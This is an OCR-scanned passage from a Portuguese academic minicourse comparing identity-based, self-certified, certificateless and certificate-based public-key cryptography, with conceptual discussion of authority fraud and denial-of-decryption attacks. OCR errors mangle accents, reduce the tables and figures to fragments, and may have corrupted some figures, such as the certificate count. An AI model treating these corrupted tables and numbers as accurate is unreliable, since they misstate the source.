consequéncias importantes. A criacdo das chaves secretas dos usudrios pode ser delegada
a niveis inferiores da hierarquia, distribuindo a carga de trabalho da entidade geradora.
Além disso, o segredo de cada usudrio passa a depender das chaves mestras de mais de
uma autoridade e, portanto, diminui o risco do comprometimento de uma chave mestra e
ha maior controle sobre o uso indevido de uma chave secreta por conta da custddia.

A organizacdo hierdrquica de autoridades também viabiliza a cifragem para
grupos de usudrios. Mas uma generalizacdo desse tema se deu com o trabalho de
[Abdalla et al. 2006], a partir do qual a identidade pode conter caracteres curingas. Num
servigo de correio eletronico cifrado, por exemplo, @« . usp.br atinge todos usudrios
de todos departamentos da USP; admin@x .usp.br diz respeito a todos administrado-
res de sistema dentro daquela universidade.

O modelo baseado em identidade também tem sido alvo de estudos na
busca por alternativas ao SSL/TLS, para aplicacoes na Web, como se pode ver em
[Crampton et al. 2007]. Com a eliminacdo de certificados, simplificam-se o processo
de distribuicdo de chaves publicas e o controle de acesso. De forma semelhante, o
modelo tem sido explorado para prover seguranca em varias outras dreas de aplicacdo,
como computacdo em grade e redes de sensores (ver por exemplo [Lim e Paterson 2005]
e [Szczechowiak et al. 2008]) e outras aplicagcdes na subsecdo 2.3.2.

2.2.2. Criptografia de Chave Publica Autocertificada

O modelo de criptografia de chave publica autocertificada foi proposto inicialmente em
[Girault 1991]. Aqui, a ideia € que a propria chave publica contenha uma garantia de
que seu valor estd associado com a identidade. Isso € possivel se existir uma autoridade
confidvel que auxilia na geracdo da chave publica e se o cdlculo dessa chave depender:

e da identidade do usuario;
e do segredo da autoridade;

e ¢ do segredo do usudrio.

A criac@o da chave publica autocertificada sempre ocorre a partir de um proto-
colo interativo entre o usudrio e a autoridade. Analogamente ao modelo convencional de
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criptografia de chave publica, na proposta de Girault o usudrio escolhe sua propria chave
secreta € a mantém em sigilo. Durante a interagdo, tanto o usudrio quanto a autoridade
precisam comprovar que conhecem um segredo (suas respectivas chaves secretas), sem
reveld-lo ao outro. Desse modo, a interacdo pode embutir um protocolo de identificacio,
uma assinatura ou uma forma qualquer de conhecimento-zero.

Dependendo da constru¢c@o do protocolo, a chave publica € calcula pelo usuario
ou pela autoridade. Porém, em todos os casos, s6 o usudrio conhece sua chave secreta, o
que significa que nao hé custddia de chaves, um dos pontos fracos do modelo baseado em
identidade. Os atributos desse modelo sdo resumidos na tabela 2.3.

Tabela 2.3. Atributos do modelo de criptografia de chave publica autocertificada.

Chave secreta Chave publica Garantia
s P=f(ID,s,s,.) P
- ? §| + §| + L
Usuario d/:gzrril::?\za Usuario Usudrio
escolhida pelo usudrio calculada pela autoridade ou pelo usudrio,
em um protocolo de prova interativa

O uso de uma chave piublica falsa impede a correta inversio da operagdo criptogra-
fica. Em outras palavras, se Beto cifrar um texto com uma chave publica falsificada para
Alice, ela ndo serd capaz de decifrd-lo. Da mesma forma, se Alice assinar um documento,
todos que forem enganados sobre sua verdadeira chave piblica ndo poderdo verificar essa
assinatura. Isso caracteriza o que chamamos de certificacdo implicita.

No modelo tradicional com certificados, a validade da chave publica é explici-
tamente verificada antes de seu uso. Ja no modelo autocertificado, isso ndo ocorre. A
legitimidade de uma chave publica autocertificada € confirmada implicitamente quando a
inversio da operacio criptografica for bem sucedida. E claro que essa propriedade nem
sempre é conveniente. Em [Kim et al. 1999], por exemplo, pode ser conferida uma solu-
¢do em que € possivel verificar previamente a chave certificada. Na figura 2.3, vemos o
uso da chave autocertificada num processo de cifragem e decifragem.

Al |Ce Canal de Transmissao B eto

T
[

Identidade

Bito %% ™ a + ? — ||

Texto Chave '!'exto C_have
em claro Publica cifrado ng::lda
eto

Beto

Figura 2.3. Cifrando no modelo autocertificado
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Em seu trabalho, Girault mostrou duas formas de se gerar chave publica autocer-
tificada e indicou como realizar um acordo de chaves com autenticagcdo muitua. Em outro
trabalho independente, [Giinther 1989], também foi apresentado um protocolo de acordo
de chaves com autenticacdo em que as identidades dos usudrios eram usadas nos célculos
da chave negociada. A ideia de explorar a identidade para indiretamente validar a chave
publica € retomada em [Al-Riyami e Paterson 2003], com outro modelo alternativo, que
estudaremos na proxima subsecao.

Em sintese, a vantagem mais importante da criptografia de chave publica auto-
certificada € a inexisténcia de certificados digitais para as chaves publicas (uma vez que a
certificacdo acontece implicitamente) e sem recair em custddia de chaves.

Em contrapartida, surgem desvantagens. Relativamente ao modelo baseado em
identidade, o de chave publica autocertificada € menos atrativo por requerer um repositod-
rio de chaves publicas (ou cada usudrio deve informar sua chave publica aos outros).

Entretanto, o ponto mais critico € a seguranca do modelo originalmente definido
em [Girault 1991]. Na época daquela publicacdo, as formalizacdes de demonstracdo de
segurancga para criptografia de chave publica comecavam a ser construidas. Até entdo, os
protocolos nio possuiam demonstragdes matemdticas de sua seguranga; continham sim-
plesmente alguns argumentos intuitivos sobre a dificuldade de sua quebra. Os protocolos
de Girault e a maioria dos trabalhos subsequentes ndo apresentavam modelos formais de
seguranca e, portanto, nao eram demonstrados seguros. Ao contrario, muitos deles foram
quebrados em algum momento posterior.

Até mesmo os esquemas de [Girault 1991] sofreram abalo. No texto original, o
autor alegou ter encontrado uma forma de manter o nivel 3 de confianca na autoridade,
sem ter que distribuir certificados digitais. Em [Saeednia 2003], no entanto, os esquemas
de Girault foram rebaixados ao nivel 1 (o mesmo do modelo baseado em identidade). Uma
corre¢do foi sugerida nesse mesmo artigo, porém o preco para se recuperar a classificagao
de nivel 3 foi um alto custo computacional.

Virios pesquisadores estudaram o problema de construir esquemas baseados na
chave publica autocertificada que pudessem ser demonstrados seguros. Os resultados
positivos quase sempre surgiram quando foram introduzidas variacdes sobre a concep¢ao
original de Girault.

Essas variagdes, que ganharam nomes como certificado implicito ou assinatura
autocertificada, sdo mais adequadamente enquadrados dentro de outros modelos. Breves
descrigdes sobre as variantes mais interessantes serdo dadas na subsecdo 2.3.3.

A chave publica autocertificada, como garantia de autenticagdo do usudrio, ndo
evoluiu como modelo independente. Isto €, ndo se chegou, pelo menos até o0 momento, a
um conjunto de primitivas basicas que garantam confidencialidade, autenticidade e inte-
gridade, todas demonstravelmente seguras.

2.2.3. Criptografia de Chave Publica sem Certificados

O modelo de criptografia de chave publica sem certificados foi apresentado originalmente
em [Al-Riyami e Paterson 2003]. Os autores buscavam uma forma de eliminar a custé-
dia de chaves do modelo baseado em identidade, mais especificamente do protocolo de
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cifragem de [Boneh e Franklin 2001]. Combinando ideias deste ultimo com o modelo
de chave publica autocertificada de [Girault 1991], chegou-se a um modelo intermediério
entre o baseado em identidade e o convencional com certificados.

O modelo resultante deixa de ser baseado em identidade, pois ha uma chave pu-
blica diferente do identificador do usudrio. Porém, por haver uso da identidade, ocorre
a certificac@o implicita, sem que haja necessidade de distribuicdo e armazenamento de
certificados digitais. Por esses motivos, costuma-se dizer que o modelo sem certificados
de [Al-Riyami e Paterson 2003] retine o melhor dos dois paradigmas: ndo hé certificados
e ndo ha custddia de chaves.

Como nos modelos anteriores, o sem certificados também depende da existéncia
de uma autoridade de confianga AC. O papel dela é, além de identificar e registrar todos
os usudrios, calcular parte das chaves secretas dos usudrios.

O célculo das chaves parciais envolve a chave mestra secreta da autoridade, e a
identidade do usudrio. A entrega dessas chaves parciais deve acontecer de forma segura,
com autenticidade e sigilo. Porém, sé com o conhecimento da chave secreta parcial, ndo
€ possivel decifrar nem assinar documentos. Logo nao ha custddia de chaves.

A chave publica de cada usuério é calculada de modo semelhante ao que ocorre
no modelo convencional. Cada usudrio escolhe seu segredo e gera a chave publica a partir
desse segredo. A chave publica pode ser divulgada pelo proprio usudrio ou € colocada em
um diretdrio publico.

A chave secreta completa é composta por duas partes: a parcial fornecida pela
autoridade e o segredo do usudrio. Somente com essas duas partes é possivel assinar
mensagens ou realizar decifragens. E o usudrio € o inico que conhece o segredo completo.

Na tabela 2.4, podemos visualizar os principais parametros envolvidos no modelo
sem certificados.

Tabela 2.4. Atributos do modelo de criptografia de chave publica sem certificado.

Chave secreta Chave publica Garantia

s = [x,d] [P,ID] s

S ¢
@Y=} JE— Y= T ?

Autoridade
de Confianga Usuério Usuario

x é segredo escolhido pelo usudrio P=f(x)
d = f(ID,s,.) é segredo parcial calculado pela ¢ calculada pelo usudrio
autoridade e compartilhado com o usudrio

Para cifrar uma mensagem para A ou para verificar uma assinatura de A, outros
usudrios precisam da chave publica e da identidade de A. Desse modo, podemos dizer que
a identidade é parte da chave publica. Dentre os parametros do sistema, a chave publica
da autoridade € fundamental nos célculos e € um dos dados de entrada (ver a figura 2.4).

Para criar uma assinatura de A € necesséria a chave secreta completa de A, mais a
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Figura 2.4. Cifrando no modelo sem certificado

identidade de A, a fim de se confirmar a certificacdo implicita. Para decifrar uma mensa-
gem emitida para A, basta a chave secreta completa de A.

Na analise de seguranca do modelo sem certificado, os autores modelaram dois
tipos de adversarios. O primeiro cumpre o papel de um usudrio do sistema que tem o
poder de substituir a chave publica de qualquer outro usudrio; ele no entanto desconhece
a chave mestra da autoridade. Esse tipo de adversario foi definido, pois, como nio ha
certificados para validarem explicitamente as chaves publicas antes de seu uso, ndo ha
garantia alguma da veracidade delas.

O segundo tipo de adversdrio representa a propria autoridade do sistema que, em-
bora honesta, pode tentar bisbilhotar as mensagens cifradas.

Um esquema € considerado seguro no modelo sem certificados quando é acom-
panhado de uma prova de que adversarios, de qualquer dos dois tipos, alcangcam pro-
babilidade desprezivel de sucesso em diferenciar entre duas cifras de duas mensagens
conhecidas.

O esquema de cifragem apresentado em [Al-Riyami e Paterson 2003] foi demons-
trado seguro sobre essa modelagem de dois adversarios. Posteriormente, surgiram pro-
postas de assinatura e outros protocolos variantes, com demonstragdes sob 0os mesmos
principios desse modelo de seguranca.

A criptografia de chave ptiblica sem certificados apresenta outras vantagens, além
da ja citada desnecessidade de distribuicdo de certificados e eliminacdo da custddia de
chaves.

Primeiramente, o risco do comprometimento da chave mestra é menor do que
no modelo baseado em identidade. Se houver perda ou violagdo da chave mestra num
sistema sem certificado, serdo comprometidas apenas as chaves secretas parciais. Para
conseguir decifrar mensagens cifradas anteriormente ao comprometimento da chave mes-
tra, o impostor deverd também obter o segredo do usudrio. E para personificar usudrios
ou decifrar novas mensagens, antes terd que substituir chaves publicas por valores cujo
segredo associado seja escolhido pelo adversario.

Outra propriedade, que € exclusiva do modelo sem certificado, é que o processo
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de renovacgdo da chave publica pode ser totalmente controlado pelo usudrio. Isto é, o
usudrio pode atualizar sua chave publica e até mesmo possuir vdrias delas, sem ter que se
comunicar com a autoridade do sistema. A chave secreta parcial serd tnica e gerada uma
sO vez para cada identificador.

E, assim como no modelo baseado em identidade, é possivel criar a chave pu-
blica e usa-la (para cifrar) antes mesmo que o usudrio tenha entrado em contato com a
autoridade para seu registro e obten¢do da chave parcial (que habilitard a decifragem).

Uma das desvantagens do modelo que ainda ndao tem uma solucao simples € o que
foi chamado de ataque Denial of Decryption (DoD), em referéncia aos ataques de negacao
de servico [Liu et al. 2007]. O DoD se d4 quando alguém divulga falsamente uma chave
publica ou a substitui em um repositdrio publico, com o objetivo de prejudicar um usudrio
legitimo do sistema. Este, por sua vez, serd incapaz de decifrar mensagens que lhe tenham
sido enviadas, se tiverem sido cifradas com a chave falsa. Analogamente, assinaturas
vélidas deixam de ser verificdveis se for divulgada uma chave publica ilegitima. E, num
primeiro instante, ndo serd possivel detectar se o que estd errado € a chave ou a assinatura.

Outro preco a se pagar pela vantagem de nao haver certificados € uma consequén-
cia da autenticacao implicita. Quem envia uma mensagem cifrada s6 terd condicdes de
verificar a autenticidade da chave publica depois que o destinatario conseguir decifrar.
Um remetente terd ciéncia de um eventual ataque DoD somente depois de ter consumido
considerdvel tempo de processamento e de comunicagao.

Embora ndo seja necessdrio armazenar nem distribuir certificados, o modelo ainda
requer um repositério de chaves publicas (ou uma forma de distribui¢do dessas chaves).
Porém, mais critico do que manter esse repositorio, € gerenciar um canal auténtico e
confidencial para entrega da parcial secreta; no modelo convencional com ICP, o canal
deve ser auténtico, mas o certificado é publico.

Comparando com o modelo baseado em identidade, aqui esse canal seguro € usado
com frequéncia um pouco menor: basta uma troca segura para cada identificador de usué-
rio. No modelo baseado em identidade, se forem usados periodos de validade no identifi-
cador, o canal seguro terd que ser estabelecido a cada renovacao.

Da forma como foi proposto originalmente, o modelo sem certificado situa-se no
nivel 2 de confianca na autoridade, pois uma autoridade desonesta pode divulgar chaves
publicas falsas. E ndo € possivel comprovar se quem gerou a chave falsa foi a autoridade
ou um usudrio qualquer.

Uma autoridade desonesta pode proceder da seguinte forma: ela escolhe um se-
gredo, calcula a chave publica correspondente e a divulga como se fosse de um usudrio A;
se a autoridade capturar textos cifrados para A sob essa falsa chave publica, terd condi¢des
de decifra-los, pois conhece o segredo e a chave parcial secreta. Em seguida, para tentar
ocultar a fraude, cifra novamente com a chave publica verdadeira e repassa para o desti-
natdrio, fingindo ser o remetente original. Raciocinio semelhante vale para falsificagao de
assinatura por parte da autoridade.

Portanto, os usudrios de um sistema no modelo sem certificados precisam confiar
que a autoridade do sistema nao propaga ativamente chaves publicas falsas.
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Conforme discutido em [Al-Riyami 2005], é possivel elevar o nivel de confianca
dentro do modelo sem certificado, se o valor da chave publica for incluido no célculo
da chave parcial secreta. Desse modo, € possivel detectar uma fraude da autoridade, sob
algumas condig¢des, explicadas a seguir.

Vamos primeiro considerar o caso de um esquema de assinatura, projetado para
garantir irretratabilidade. No modelo sem certificados, para assegurar que uma assinatura
nao tenha posteriormente a autoria negada, o identificador de cada usudrio deve incluir o
valor da chave publica, por exemplo, concatenando /D com P (IDIIP). E no célculo da
chave parcial secreta, o usudrio precisa provar o conhecimento do valor secreto corres-
pondente; a0 mesmo tempo, a autoridade também deve demonstrar que conhece a chave
mestra. Em outras palavras, a geracdo da chave parcial deve consistir de um protocolo
interativo com provas de posse de segredo. Nessas condi¢des, o esquema de assinatura
tem a propriedade de irretratabilidade e a autoridade alcanca nivel 3 de confianga.

Para esquemas de cifragem, a andlise € um pouco mais trabalhosa. Quando o
identificador do usudrio embute o valor da chave publica (como em IDIIP), ndao ha obri-
gatoriedade de que a chave parcial seja mantida em segredo. Isso € verdade, pois, a
parcial sozinha ndo € a chave secreta completa e, para que a autoridade consiga bisbilho-
tar mensagens de algum usudrio, antes terd que substituir falsamente a chave publica e o
identificador, além de gerar nova parcial.

Considere, entdo, a seguinte fraude: a autoridade substitui a identidade original
da Alice IDIIP por IDIIP'; Beto, ao tentar enviar uma mensagem com sigilo para Alice, é
enganado sobre os dados dela e cifra usando IDIIP’; a autoridade captura tal mensagem e
a decifra, descobrindo o contetdo; a autoridade cifra novamente sob o identificador real
e submete para Alice como se nada anormal tivesse ocorrido.

Nem sempre essa fraude serd detectavel. Primeiro, Beto e Alice terdo que descon-
fiar de tal possibilidade e perceberem que a Alice possui dois identificadores distintos:
um foi usado por Beto para cifrar, e outro pela Alice para decifrar.

Se a chave parcial for considerada publica, a evidéncia dessa fraude serd a existén-
cia das duas chaves parciais, que s a autoridade consegue emitir. No entanto, a autoridade
tentard ocultar a chave parcial derivada da chave publica falsa, para ndo se autoincriminar.

Por outro lado, se a chave parcial for considerada secreta, compartilhada apenas
entre a autoridade e o usudrio em questdo, a evidéncia criptogréfica dessa fraude serd a
existéncia de duas cifras para uma mesma mensagem, sob duas chaves publicas distintas
de Alice. Entretanto essa evidéncia pode ser questionada pela autoridade: quem garante
que Beto ndo inventou a chave publica falsa, criou as duas cifras e estd tentando levantar
suspeitas sobre a autoridade?

Desse modo, nem sempre a fraude serd detectdvel para o caso de cifragem. E o
nivel de confianca ndo chega a 3.

Usos e aplicagdes do modelo sem certificado sdo em grande parte relacionados
as aplicagdes do modelo baseado em identidade. Quando uma aplicacdo deste ultimo
tiver como requisito a eliminacao da custddia de chaves, o modelo sem certificado pode
ser empregado. Isso pode ser afirmado, pois protocolos com base na identidade quase
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sempre podem ser modificados para o modelo de Al-Riyami e Paterson.

O modelo sem certificado também € indicado para uso em grupos fechados ou par-
ceiros de negdcios, em contextos em que a autoridade de confianca pode ser representada
por alguém do préprio grupo.

2.2.4. Criptografia de Chave Publica Baseada em Certificado

O modelo de criptografia de chave publica baseada em certificado, proposto por
[Gentry 2003] é uma variacdo do modelo convencional que mantém a infraestrutura de
chaves publicas.

O objetivo inicial do autor era resolver o problema de revogacao de chaves publi-
cas e eliminar o trafego de validacao de certificados. Na solu¢do proposta, os certificados
sdo usados apenas pelo proprio usudrio dono (e ndo por todos que precisem se comunicar
com seguranga com o proprietdrio do certificado, como € no modelo tradicional).

No modelo de Gentry, a hierarquia de autoridades certificadoras existe da mesma
forma que nas ICPs sob padrao X.509. Cada usudrio cria seu par de chaves, ou, alter-
nativamente, a autoridade cria e entrega para o usudrio, dependendo dos requisitos da
aplicacao.

O que muda para a autoridade certificadora € que, para cada periodo i predeter-
minado, novo certificado deve ser gerado para todos os usudrios (e esse periodo é menor
que na ICP comum). Esse certificado funciona como se fosse uma parte adicional a chave
secreta do usudrio, pois sem certificado valido para um periodo, ndo € possivel assinar
nem decifrar. Portanto, do ponto de vista do usudrio, o que muda em relacdo ao modelo
convencional € a forma como € usado o certificado.

Ao proprietario do certificado, cabe a responsabilidade de obter e armazenar local-
mente o certificado vélido para o periodo. Ele serd usado como se fosse um componente
da chave secreta, embora possa ser distribuido em canal publico.

Aos usudrios terceiros, o certificado ndo tem serventia alguma, pois para cifrar
para A ou para verificar uma assinatura de A, bastam a chave ptblica e a identidade de A,
mais o periodo i. A certificacdo da chave publica ocorre implicitamente.

Na tabela 2.5, podemos visualizar os principais parametros envolvidos no modelo
baseado em certificado. E, na figura 2.5, € ilustrado o processo de cifragem e decifragem.

Tabela 2.5. Atributos do modelo de criptografia de chave publica baseado em certificado.

Chave secreta Chave publica Garantia
[s,c] [P= f(s),ID] c=f(D,P,s,.,i)
?+ g? M Midfsﬁf+ Eﬂ:—\%% :?
Usuario Usuério de Confianga
s é segredo calculada pelo usudrio c € o certificado
escolhido pelo usudrio (ou pela autoridade) calculado pela autoridade
(ou pela autoridade) (exclusivamente), para periodo i
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Figura 2.5. Cifrando no modelo baseado em certificado

Se compararmos com o modelo convencional de ICP, o modelo de Gentry tem
como principal vantagem a eliminacdo do trafego de validagdo dos certificados, ou seja,
ndo ha consultas para verificagdo do estado do certificado. O autor estabelece que o
certificado emitido para o periodo i é automaticamente invalidado quando expira o prazo
para o qual foi emitido. Uma premissa fundamental € que a chave publica sempre é
considerada vélida por quem a usa. Portanto, o periodo deve ser curto o bastante para que
o comprometimento de uma chave secreta cause o menor dano possivel até o fim daquele
periodo.

Se uma chave secreta € comprometida, o usudrio notifica a autoridade e gera novo
par de chaves. A autoridade, por sua vez, passa a emitir certificados somente para a nova
chave.

O trabalho que um usudrio tem antes de cifrar para alguém (ou verificar uma
assinatura) é, portanto, o de obter a identidade e a chave publica e de usa-las diretamente.
Numa ICP convencional, como ja dissemos anteriormente, primeiro € necessario obter o
certificado, verifica-lo (prazo de validade e assinatura), valida-lo (consultar uma lista de
certificados revogados, por exemplo), para entdo extrair e usar a chave publica.

Comparando com o modelo baseado em identidade, o baseado em certificado tem
a vantagem de eliminar a custédia de chaves, pois a criagdo do par de chaves acontece exa-
tamente como no sistema tradicional, em que a chave secreta pode ser de conhecimento
exclusivo do usudrio.

Em relacdo ao modelo sem certificado, o de Gentry apresenta como vantagens o
nivel 3 de confianca na autoridade e a ndo necessidade de canal sigiloso para troca de
segredos. Em contrapartida, o modelo baseado em certificado ainda requer uma infraes-
trutura para emissao e distribuicdo de certificados e pode ser considerado simplesmente
uma varia¢do do modelo convencional de criptografia de chave publica sobre ICP.

A principal desvantagem do modelo de Gentry € a potencial sobrecarga sobre a
autoridade, devido a reemissdo de certificados. Isso vai depender de como for definido,
no sistema, a frequéncia com que os certificados devem ser atualizados, combinado com o
nimero de usudrios. Para quando for grande o nimero de usudrios, o autor descreve uma
técnica auxiliar, que foi denominada subset covers, em que os certificados t€ém sobrevida

65



66

Minicursos SBSeg 2009

maior e sdao “reconfirmados” a cada periodo de tempo; como consequéncia, a carga de
emissoes diminui.

Um ponto bastante critico associado ao modelo baseado em certificado situa-se
nos detalhes de projeto e implementacgdo, pois deles dependem o qudo bem serd resolvido
o problema de revogacao de certificados.

Dentro do modelo baseado em certificado, revogacgao significa: a autoridade para
de emitir certificados para a chave publica cuja secreta foi comprometida. Na realidade,
nem chave publica e nem certificado € revogado.

Suponha que Alice teve seu segredo violado e imediatamente ela entrou em con-
tato com a autoridade para gerar novo par de chaves. Se os demais usudrios ndo forem
informados de que a chave publica foi alterada e a continuarem usando, aquele que violou
a antiga chave da Alice potencialmente podera usar o certificado “revogado” até o fim do
periodo de validade dele, seja na tentativa de falsificar assinaturas ou para ler documentos
cifrados, capturados de alguma forma.

Desse modo, o ideal é que, antes de usar uma chave publica, todo usudrio a ob-
tenha de algum repositério atualizado, ou a pegue diretamente do usudrio que a gerou.
E ambas possibilidades requerem sistemas online, aproximando-se mais do que costuma
ser implementado tradicionalmente, com listas de certificados revogados (CLR) ou veri-
ficacdo online do estado do certificado (OCSP). Outra alternativa € reduzir o periodo i de
emissao de certificados, o que sobrecarrega a autoridade.

Se a decisdo de projeto for para que seja mantido um repositério de chaves pu-
blicas validas, consultado por todos usudrios antes de uma operagdo criptografica, surge
nova preocupacao no gerenciamento de chaves: a seguranga desse repositério deve ser
adequada o bastante para que ele nunca seja atualizado falsamente. E esse repositério de
chaves publicas substitui o que seria um repositorio de certificados digitais, na implemen-
tacdo convencional.

Por outro lado, cada usuadrio talvez tenha que ter um repositorio particular de cer-
tificados emitidos para vérios periodos. Isso pode ocorrer se i for relativamente pequeno
e existirem, por exemplo, certificados diferentes para cada hora ou menos. Suponha um
sistema de email baseado em certificado e o seguinte cendrio. Alice fica fora da empresa,
em visita a algum cliente, passa um periodo sem consultar o sistema, € a0 mesmo tempo
recebe grande quantidade de emails cifrados. Ao retornar, Alice terd que obter todos os
certificados necessdrios para ler as mensagens, alguns referentes a um mesmo periodo,
outros nao.

Cabe um comentério sobre o tamanho do certificado de Gentry. A rigor, o au-
tor separa as informacdes do certificado em duas partes. Os dados do usudrio, que sdao
essencialmente textuais, fazem parte de seu ID; os usudrios podem manter uma cépia
local ou, por praticidade, guardar apenas um hash desses dados, pois eles serdo usados
nos protocolos. O equivalente a assinatura da autoridade sobre os dados do certificado,
fica fisicamente separado dos dados. O que o autor chama de certificado, e que € usado
como parte da chave secreta, é apenas esse valor de assinatura. E somente esse valor é
atualizado e transmitido constantemente.
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Portanto, embora o trafego para distribui¢cdo de certificados possa ser mais conti-
nuo, em cada conexdo, o tamanho dos dados é menor. Ainda assim, ndo € trivial comparar
o trafego neste modelo com o padrao X.509.

O trafego para distribuicdo de certificados pode ser maior ou menor no modelo
baseado em certificado. Isso depende das caracteristicas do sistema que o implementar.
Digamos que Alice se comunica com sigilo com uma quantidade »n de outros usudrios do
sistema. Nenhum desses n usudrios terd que obter certificado da Alice (como ocorre no
modelo da ICP tradicional), mas Alice tem que obter seu préprio certificado, um nimero
x de vezes. Durante a fase de projeto de um sistema baseado em certificado, € prudente
avaliar como x se relaciona com n e averiguar se o valor de x pode ser um problema ou
ndo.

Em [Gentry 2003], € afirmado que o modelo baseado em certificado comega a se
tornar ineficiente atualizando, a cada hora, mais de 225 milhdes de certificados, aproxima-
damente. Esses dados foram obtidos pelo autor, analisando a capacidade de autoridades
certificadoras em sistemas na época.

Para a analise de seguranca do modelo, similarmente ao modelo sem certifica-
dos, sdo definidos dois tipos de adversdrios: um representa o usudrio comum, porém nao
certificado; outro adversdrio representa a propria autoridade, que ndo conhece o segredo
dos usudrios e € considerada honesta em nao divulgar falsas chaves publicas, mas tenta
bisbilhotar mensagens cifradas.

Os esquemas demonstrados seguros no modelo baseado em certificado preveem
os dois tipos de usudrio. Isto é, um esquema de cifragem é demonstrado seguro se, sob
a condic@o de que o adversdrio, seja de qual tipo, nao conhece o segredo associado a
uma chave publica, alvo de um ataque, ndo tem condicoes de diferenciar entre dois textos
cifrados de duas mensagens distintas. E isso acontece mesmo que o adversdrio tiver
a capacidade de decifrar mensagens para outras chaves publicas. E num esquema de
assinatura, apenas com o conhecimento do certificado e da chave publica, os adversarios
de ambos os tipos ndo sdo capazes de gerar uma assinatura valida.

Conforme detalharemos na subsecdo 2.3.5, os esquemas de assinatura mais recen-
tes sdo demonstrados seguros mesmo que o adversario tenha a capacidade de substituir
chaves publicas por valores a sua escolha, porém sob a condi¢do de que ndo hd emissao
de certificado vdlido para a falsa chave.

Para se compreender o nivel de confianca que a autoridade alcancga sob o modelo
baseado em certificado, é necessdria uma andlise semelhante a que foi apresentada no
estudo do modelo sem certificado. Aqui, o certificado é uma assinatura da autoridade
sobre as informagdes de identificacao do usudrio, incluindo a chave ptblica e um periodo.

Para que num esquema de assinatura haja garantia de irretratabilidade, o registro
da chave publica deve ocorrer sob canal auténtico e com prova de posse de segredo. Se a
autoridade divulgar uma chave publica ilegitima, ela terd condicdes de criar um certificado
para essa chave e assinar falsamente. A fraude serd detectada se toda chave publica (usada
na verificacao de assinaturas) for divulgada obrigatoriamente junto do certificado. Dois
certificados e duas chaves comprometem a idoneidade da autoridade. Nessas condigoes,
o nivel de confianca € 3 e hd irretratabilidade de assinatura.
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Nos esquemas de cifragem, também serd necessdria a publicacdo do certificado
junto de cada chave publica. Isso se deve ao fato da autoridade pretender decifrar men-
sagens, cifradas sob falsas chaves publicas, e reenviar ao usudrio final recifradas com
a verdadeira chave. A evidéncia da fraude se dard com a existéncia de um certificado
emitido para a chave falsa. Como somente a autoridade tem acesso a chave mestra, s
ela emite certificados. Se a substitui¢cao de chave publica ocorrer em canal auténtico, a
autoridade é responsabilizada pela fraude.

Entretanto, gerenciar o armazenamento de todos os certificados, para cada chave
publica, passa a ser uma preocupacao adicional. E € maior que na ICP tradicional, pois a
tendéncia é que o volume de certificados seja maior.

2.3. Construcoes e Aplicacoes

Para as proximas subsecdes, selecionamos alguns protocolos que ilustram o funciona-
mento do modelos alternativos. Também citaremos os trabalhos que marcaram a evolugao
de cada paradigma e descreveremos aplicacdes que podem ter solu¢do mais elegante ou
eficiente em um modelo em particular. Primeiramente, descreveremos alguns conceitos
preliminares, necessarios para a compreensao dos algoritmos.

2.3.1. Conceitos Fundamentais

Grupos

Um grupo é um conjunto nio vazio dotado de uma operacao o, que satisfaz as seguintes
propriedades [Koblitz 1994]:

e Possui um elemento identidade: quando aplicada a operagdo o sobre um elemento
Q qualquer do grupo e a identidade, o resultado € o proprio elemento Q;

e Possui o elemento inverso: quando aplicada a operagdo o sobre um elemento Q
qualquer do grupo e seu elemento inverso de Q, o resultado € o elemento identidade;

e Associativo: se Q,R, S pertencem ao grupo, entdo (QoR)oS = Qo (RoS);

e Fechado: a operagdo o sobre elementos do grupo sempre tem como resultado um
elemento do grupo.

Na verdade nao definimos o que € a operacdo o, nds a usamos para genericamente
definir operacdes de adi¢ao ou multiplicacdo. Quando um grupo € definido para operacoes
de adicdo podemos dizer que € um grupo aditivo, neste texto iremos representd-lo por Gy;
quando um grupo é definido para operagdes de multiplicacdo dizemos que € um grupo
multiplicativo e iremos representa-lo por Go.

Quando o nimero de elementos de um grupo € finito, este nimero e chamado de
ordem do grupo.

Podemos aplicar a operagdo o sobre o mesmo elemento Q do grupo n vezes, com
n um ndmero natural: QoQoQo---o0Q. Para Q € G| representamos por nQ, no caso
de Q € G, representamos por Q". Dizemos que Q é um elemento gerador do grupo
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quando podemos representar todos os elementos deste grupo através de Q operado sobre
ele mesmo. Se o grupo possui um elemento gerador € chamado de grupo ciclico.

Em implementacdes préticas, os grupos de interesse sdo formados por pontos so-
bre alguma curva eliptica.

Emparelhamento Bilinear

Sejam G; e Gy grupos ciclico de ordem prima g. Um emparelhamento bilinear ad-
missivel, de acordo com a definicdo em [Boneh e Franklin 2001], ¢ um mapeamento
e: G| x G; — Gy, que satisfaz as seguintes condigdes:

1. Bilinear: para qualquer P,Q € G e a,b € Zy, temos:
e(aP.bQ) = e(P,Q)* = e(abP,Q) = e(P,abQ)

2. Nao Degenerado: nio leva todos os pares G| x G a identidade em G,

3. Computavel: existe algoritmo eficiente que calcula e(P, Q) para todos P,Q € G

Modelos de Seguranca

Os modelos de segurancga sdo a base da demonstragdo formal de que um algoritmo €
seguro e indicam quais s@o as condi¢des para que ele opere sem riscos. Os protocolos
demonstravelmente seguros sob o modelo padrido tendem a ser mais robustos e os de-
monstrados sob o modelo do ordculo aleatério tendem a ser mais eficientes.

Ferramentas de Apoio

Para implementacao e testes de criptossistemas € possivel usar ferramentas matematicas
ou bibliotecas que implementam total ou parcialmente funcgdes uteis, tais como: hash,
manipulacdo de nimeros grandes, algoritmos criptogrificos padrao, emparelhamento bi-
linear, entre outras.

Na subsec¢do 2.3.4 utilizamos uma modificacdo do exemplo d12 . cpp da biblio-
teca MIRACL (http://www.shamus.ie/) e conseguimos em poucas linhas de c6-
digo descrever um esquema baseado em emparelhamento, mostrando ser possivel com-
provar rapidamente a adequacdo de um algoritmo para determinada aplicacdo. Essa bi-
blioteca € de uso livre para fins educacionais, possui uma extensa quantidade de funcdes
para manipulagdo de nimeros grandes, corpos GF (p) e GF (2™), curvas elipticas, fungdes
hash e criptografia simétrica; possui interfaces em C e C++; ainda se destaca por seu alto
desempenho em testes de “Benchmarks”.

Outras bibliotecas nao proprietdrias que podem auxiliar as implementa-
¢oes sdao OpenSSL disponivel em http://www.openssl.org/, Cripto++ dis-
ponivel em http://www.cryptopp.com/, SECCURE disponivel em http:
//point-at-infinity.org/seccure/, SKS disponivel em http://sks.
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merseine.nu/, LIbECC disponivel em http://libecc.sourceforge.net/;
e outras bibliotecas proprietarias tal como Java SE 6 e a Microsoft Cryptography API.

Além disso existem ferramentas matemadticas que auxiliam a criacdo e de-
monstracdo de diversos modelos criptogrificos, tais como as ferramentas livres
